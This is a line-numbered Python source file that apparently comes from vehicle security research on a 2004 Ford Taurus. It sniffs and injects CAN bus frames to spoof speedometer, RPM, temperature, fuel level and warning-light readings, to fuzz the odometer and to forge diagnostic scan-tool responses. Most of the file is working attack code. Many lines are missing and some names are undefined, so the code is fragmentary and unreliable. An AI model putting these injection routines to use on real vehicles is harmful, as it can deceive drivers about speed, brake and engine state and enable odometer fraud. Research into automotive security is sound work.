4 import csv, time, argparse;
7 from random import randrange
8 from GoodFETMCPCAN import GoodFETMCPCAN;
9 from experiments import experiments
10 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
11 from intelhex import IntelHex;
16 class FordExperiments(experiments):
18 This class is a subclass of experiments and is a car specific module for
19 demonstrating and testing hacks.
21 def __init__(self, dataLocation = "../../contrib/ThayerData/"):
22 GoodFETMCPCANCommunication.__init__(self, dataLocation)
23 #super(FordExperiments,self).__init__(self) #initialize chip
26 def mimic1056(self,packetData,runTime):
29 self.spitSetup(self.freq)
30 #FIGURE out how to clear buffers
31 self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
32 packet1 = self.client.rxpacket();
34 packetParsed = self.client.packet2parsed(packet1);
35 #keep sniffing till we read a packet
36 while( packet1 == None or packetParsed.get('sID') != 1056 ):
37 packet1 = self.client.rxpacket()
39 packetParsed = self.client.packet2parsed(packet1)
40 recieveTime = time.time()
41 packetParsed = self.client.packet2parsed(packet1)
42 if( packetParsed['sID'] != 1056):
43 print "Sniffed wrong packet"
45 countInitial = ord(packetParsed['db3']) #initial count value
47 #set data packet to match what was sniffed or at least what was input
50 if(packetData.get(idx) == None):
51 packet.append(ord(packetParsed.get(idx)))
53 packet.append(packetData.get(idx))
55 #### split SID into different regs
56 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
57 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
58 packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
59 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
61 packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
63 self.client.txpacket(packet);
65 while( (time.time()-recieveTime) < runTime):
66 #care about db3 or packet[8] that we want to count at the rate that it is
67 dT = time.time()-tpast
69 db3 = (countInitial + math.floor((time.time()-recieveTime)/0.2))%255
71 self.client.txpacket(packet)
75 self.client.MCPrts(TXB0=True)
76 tpast = time.time() #update our transmit time on the one before
80 def cycledb1_1056(self,runTime):
84 #FIGURE out how to clear buffers
85 self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
86 packet1 = self.client.rxpacket();
88 packetParsed = self.client.packet2parsed(packet1);
89 #keep sniffing till we read a packet
90 while( packet1 == None or packetParsed.get('sID') != 1056 ):
92 packet1 = self.client.rxpacket()
94 packetParsed = self.client.packet2parsed(packet1)
95 recieveTime = time.time()
96 packetParsed = self.client.packet2parsed(packet1)
97 if( packetParsed['sID'] != 1056):
98 print "Sniffed wrong packet"
101 #set data packet to match what was sniffed or at least what was input
104 packet.append(ord(packetParsed.get(idx)))
106 packet[1] = packetValue;
109 #### split SID into different regs
110 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
111 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
112 packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
113 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
114 # lower nibble is DLC
115 packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
117 self.client.txpacket(packet);
119 while( (time.time()-recieveTime) < runTime):
120 #care about db3 or packet[8] that we want to count at the rate that it is
121 dT = time.time()-tpast
124 #temp = ((packetValue+1))%2
126 # pV = packetValue%255
132 self.client.txpacket(packet)
134 tpast = time.time() #update our transmit time on the one before
137 def getBackground(self,sId):
139 This method gets the background packets for the given id. This
140 is a simple "background" retriever in that it returns the packet
141 that is of the given id that was sniffed off the bus.
143 packet1 = self.client.rxpacket();
145 packetParsed = self.client.packet2parsed(packet1);
146 #keep sniffing till we read a packet
147 while( packet1 == None or packetParsed.get('sID') != sId ):
148 packet1 = self.client.rxpacket()
150 packetParsed = self.client.packet2parsed(packet1)
152 #recieveTime = time.time()
155 def cycle4packets1279(self):
156 self.client.serInit()
159 self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
160 packetParsed = self.getBackground(1279)
162 if (packetParsed[db0] == 16):
163 # if it's the first of the four packets, replace the value in db7 with 83
164 packetParsed[db7] = 83
165 # transmit new packet
166 self.client.txpacket(packetParsed)
168 # otherwise, leave it alone
169 # transmit same pakcet we read in
170 self.client.txpacket(packetParsed)
171 # print the packet we are transmitting
175 def oscillateTemperature(self,time):
181 self.client.serInit()
183 #FIGURE out how to clear buffers
184 self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
185 packetParsed = self.getBackground(1056)
187 #set data packet to match what was sniffed or at least what was input
190 packet.append(ord(packetParsed.get(idx)))
192 packet[1] = packetValue;
195 #### split SID into different regs
196 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
197 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
198 packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
199 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
200 # lower nibble is DLC
201 packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
203 self.client.txpacket(packet);
204 startTime = tT.time()
205 while( (tT.time()-startTime) < runTime):
206 dt = tT.time()-startTime
207 inputValue = ((2.0*math.pi)/20.0)*dt
208 value = 30*math.sin(inputValue)+130
210 #packet[5] = int(value)
217 self.client.txpacket(packet)
219 #tpast = time.time() #update our transmit time on the one before
224 #reset eveything on the chip
225 self.client.serInit()
227 duration = 20; #seconds
230 listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
232 #actual response by the car
233 #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
234 #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
235 #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
237 r1 = [34, 88, 0, 0, 0, 0, 0, 0]
238 r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
239 r3 = [16, 19, 73, 160, 159, 70, 65, 66]
242 SIDlow = (responseID & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
243 SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
244 packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
245 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
246 # lower nibble is DLC
247 r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
248 packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
249 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
250 # lower nibble is DLC
251 r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
252 packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
253 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
254 # lower nibble is DLC
255 r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
257 self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
259 #filter for the correct packet
260 self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
261 self.client.rxpacket()
262 self.client.rxpacket() # flush buffers if there is anything
263 startTime = tT.time()
264 while( (tT.time() -startTime) < duration):
265 packet = self.client.rxpacket()
267 sid = ord(packet[0])<<3 | ord(packet[1])>>5
268 if( sid == listenID):
269 byte3 = ord(packet[6])
270 if( byte3 == listenPacket[3]):
271 print "SendingPackets!"
273 self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
275 def setScanToolTemp(self,temp):
276 self.client.serInit()
279 self.addFilter([2024, 2024, 2024])
280 self.client.rxpacket()
281 self.client.rxpacket()
282 self.client.rxpacket()
283 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
284 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
286 startTime = time.time()
287 #while((time.time() - startTime) < 10):
291 # catch a packet and check its db4 value
292 while (packet == None):
293 packet=self.client.rxpacket();
296 newTemp = math.ceil(level/1.8 + 22)
297 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
300 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
301 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
302 # lower nibble is DLC
303 ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
305 # load new packet into TXB0 and check time
306 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
307 starttime = time.time()
309 # spit new value for 1 second
310 while (time.time()-starttime < 10):
311 self.multiPacketSpit(packet0rts=True)
313 def overHeatEngine(self):
314 self.client.serInit()
317 self.addFilter([1056, 1056, 1056])
318 packet = self.getBackground(1056)
319 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
320 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
322 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
323 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
324 # lower nibble is DLC
325 255,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
326 startTime = time.time()
327 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
328 while( time.time()- startTime < 10):
329 self.multiPacketSpit(packet0rts=True)
331 def runOdometer(self):
332 self.client.serInit()
335 self.addFilter([1056, 1056, 1056])
336 packet = self.getBackground(1056)
337 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
338 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
339 odomFuzz = random.randint(0,255)
340 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
341 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
342 # lower nibble is DLC
343 ord(packet[5]),odomFuzz,ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
344 startTime = time.time()
346 while( time.time()- startTime < 10):
347 odomFuzz = random.randint(0,255)
348 newPacket[5] = odomFuzz
349 self.client.txpacket(newPacket)
351 def setDashboardTemp(self, temp):
352 self.client.serInit()
355 self.addFilter([1056, 1056, 1056])
356 self.client.rxpacket()
357 self.client.rxpacket()
358 self.client.rxpacket()
359 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
360 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
362 startTime = time.time()
363 #while((time.time() - startTime) < 10):
367 # catch a packet and check its db4 value
368 while (packet == None):
369 packet=self.client.rxpacket();
372 newTemp = math.ceil(level/1.8 + 22)
373 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
376 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
377 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
378 # lower nibble is DLC
379 newTemp,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
381 # load new packet into TXB0 and check time
382 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
383 starttime = time.time()
385 # spit new value for 1 second
386 while (time.time()-starttime < 10):
387 self.multiPacketSpit(packet0rts=True)
390 def warningLightsOn(self,checkEngine, checkTransmission, transmissionOverheated, engineLight, battery, fuelCap, checkBreakSystem,ABSLight):
391 self.addFilter([1056, 1056, 530, 530, 1056])
392 if( checkBreakSystem == 1 or ABSLight == 1):
393 SIDlow = (530 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
394 SIDhigh = (530 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
395 packet = self.getBackground(530)
396 packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
397 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
398 # lower nibble is DLC
399 ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
400 if( checkBreakSystem == 1 and ABSLight == 1):
402 elif( checkBreakSystem == 0 and ABSLight == 1):
404 elif(checkBreakSystem==1 and ABSLight == 0):
411 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
412 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
413 packet = self.getBackground(1056)
414 packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
415 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
416 # lower nibble is DLC
417 ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
418 if( checkEngine == 1):
421 if( checkTransmission == 1):
424 if( transmissionOverheated == 1):
427 if( engineLight == 1):
435 # load new packet into TXB0 and check time
436 self.multiPacketSpit(packet0=packet1,packet1=packet2, packet0rts=True,packet1rts=packet2rts )
437 starttime = time.time()
439 # spit new value for 1 second
440 while (time.time()-starttime < 10):
441 self.multiPacketSpit(packet0rts=True,packet1rts = packet2rts)
443 def fakeScanToolFuelLevel(self,level):
444 self.client.serInit()
447 self.addFilter([2024, 2024, 2024])
448 self.client.rxpacket()
449 self.client.rxpacket()
450 self.client.rxpacket()
451 SIDlow = (2024 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
452 SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
454 startTime = time.time()
455 #while((time.time() - startTime) < 10):
459 # catch a packet and check its db4 value
460 while (packet == None):
461 packet=self.client.rxpacket();
463 level = int(level/.4)
464 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
467 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
468 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
469 # lower nibble is DLC
470 ord(packet[5]),ord(packet[6]),ord(packet[7]),level,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
472 # load new packet into TXB0 and check time
473 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
474 starttime = time.time()
476 # spit new value for 1 second
477 while (time.time()-starttime < 10):
478 self.multiPacketSpit(packet0rts=True)
480 def fakeOutsideTemp(self,level):
481 self.client.serInit()
484 self.addFilter([2024, 2024, 2024])
485 self.client.rxpacket()
486 self.client.rxpacket()
487 self.client.rxpacket()
488 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
489 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
491 startTime = time.time()
492 #while((time.time() - startTime) < 10):
496 # catch a packet and check its db4 value
497 while (packet == None):
498 packet=self.client.rxpacket();
500 newTemp = math.ceil(level/1.8 + 22)
501 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
504 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
505 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
506 # lower nibble is DLC
507 ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
509 # load new packet into TXB0 and check time
510 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
511 starttime = time.time()
513 # spit new value for 1 second
514 while (time.time()-starttime < 10):
515 self.multiPacketSpit(packet0rts=True)
518 def fakeAbsTps(self,level):
519 self.client.serInit()
522 self.addFilter([2024, 2024, 2024])
523 self.client.rxpacket()
524 self.client.rxpacket()
525 self.client.rxpacket()
526 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
527 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
529 startTime = time.time()
530 #while((time.time() - startTime) < 10):
534 # catch a packet and check its db4 value
535 while (packet == None):
536 packet=self.client.rxpacket();
538 abstps = int(math.ceil(level/.39))
542 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
543 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
544 # lower nibble is DLC
545 ord(packet[5]),ord(packet[6]),ord(packet[7]),abstps,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
547 # load new packet into TXB0 and check time
548 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
549 starttime = time.time()
551 # spit new value for 1 second
552 while (time.time()-starttime < 10):
553 self.multiPacketSpit(packet0rts=True)
557 def mphToByteValue(self, mph):
558 return ( mph + 63.5 ) / 1.617
560 def ByteValuToMph(self, value):
561 return 1.617*ord(packet[9]) - 63.5
563 def setMPH(self, mph):
564 self.client.serInit()
567 self.addFilter([513, 513, 513])
568 self.client.rxpacket()
569 self.client.rxpacket()
570 self.client.rxpacket()
571 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
572 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
574 startTime = time.time()
575 #while((time.time() - startTime) < 10):
579 # catch a packet and check its db4 value
580 while (packet == None):
581 packet=self.client.rxpacket();
583 #print self.client.packet2str(packet)
585 #print "DB4 = %02d " %ord(packet[9])
587 #print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
589 # calculate our new mph and db4 value
591 newSpeed = self.mphToByteValue(mph)
592 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
595 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
596 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
597 # lower nibble is DLC
598 ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
600 # load new packet into TXB0 and check time
601 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
602 starttime = time.time()
604 # spit new value for 1 second
605 while (time.time()-starttime < 10):
606 self.multiPacketSpit(packet0rts=True)
609 def speedometerHack(self, inputs):
611 self.client.serInit()
614 self.addFilter([513, 513, 513])
616 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
617 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
623 # catch a packet and check its db4 value
624 while (packet == None):
625 packet=self.client.rxpacket();
627 print self.client.packet2str(packet)
629 print "DB4 = %02d " %ord(packet[9])
630 mph = 1.617*ord(packet[9]) - 63.5
631 print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
633 # calculate our new mph and db4 value
634 mph = mph + inputs[0];
635 newSpeed = ( mph + 63.5 ) / 1.617
636 print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
639 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
640 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
641 # lower nibble is DLC
642 ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
644 # load new packet into TXB0 and check time
645 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
646 starttime = time.time()
648 # spit new value for 1 second
649 while (time.time()-starttime < 1):
650 self.multiPacketSpit(packet0rts=True)
652 def rpmToByteValue(self, rpm):
653 value = ( rpm + 61.88 ) / 64.5
656 def ValueTorpm(self, value):
657 rpm = 64.5*value - 61.88
660 def setRPM(self, rpm):
661 self.client.serInit()
664 self.addFilter([513, 513, 513,513])
666 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
667 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
670 self.client.rxpacket()
671 self.client.rxpacket()
672 self.client.rxpacket()
674 startTime = tT.time()
675 while((tT.time() - startTime )< 10):
679 # catch a packet and check its db4 value
680 while (packet == None):
681 packet=self.client.rxpacket();
683 #print self.client.packet2str(packet)
685 #print "DB4 = %02d " %ord(packet[5])
687 #print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
689 newRPM = self.rpmToByteValue(rpm)
690 #print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
693 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
694 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
695 # lower nibble is DLC
696 int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
698 # load new packet into TXB0 and check time
699 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
700 starttime = time.time()
702 # spit new value for 1 second
703 while (time.time()-starttime < 1):
704 self.multiPacketSpit(packet0rts=True)
706 def rpmHack(self, inputs):
708 This method will increase the rpm by the given rpm amount.
711 @param inputs: Single element of a list that corresponds to the amount the user
715 self.client.serInit()
718 self.addFilter([513, 513, 513])
720 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
721 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
722 startTime = tT.time()
723 while((tT.time() - startTime )< 10):
727 # catch a packet and check its db4 value
728 while (packet == None):
729 packet=self.client.rxpacket();
731 print self.client.packet2str(packet)
733 print "DB4 = %02d " %ord(packet[5])
734 rpm = 64.5*ord(packet[5]) - 61.88
735 print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
737 # calculate our new mph and db4 value
738 rpm = rpm + inputs[0];
739 newRPM = ( rpm + 61.88 ) / 64.5
741 print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
744 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
745 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
746 # lower nibble is DLC
747 int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
749 # load new packet into TXB0 and check time
750 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
751 starttime = time.time()
753 # spit new value for 1 second
754 while (time.time()-starttime < 1):
755 self.multiPacketSpit(packet0rts=True)
758 def runOdometer(self):
761 if __name__ == "__main__":
763 parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
765 Run Hacks on a Ford taurus 2004:
771 parser.add_argument('verb', choices=['speedometerHack', 'rpmHack']);
772 parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
775 args = parser.parse_args();
776 inputs = args.variable
777 fe = FordExperiments("../../contrib/ThayerData/");
779 if( args.verb == 'speedometerHack'):
780 fe.speedometerHack(inputs=inputs)
781 if( args.verb == 'rpmHack'):
782 fe.rpmHack(inputs=inputs)
783 elif( args.verb == 'fakeVIN'):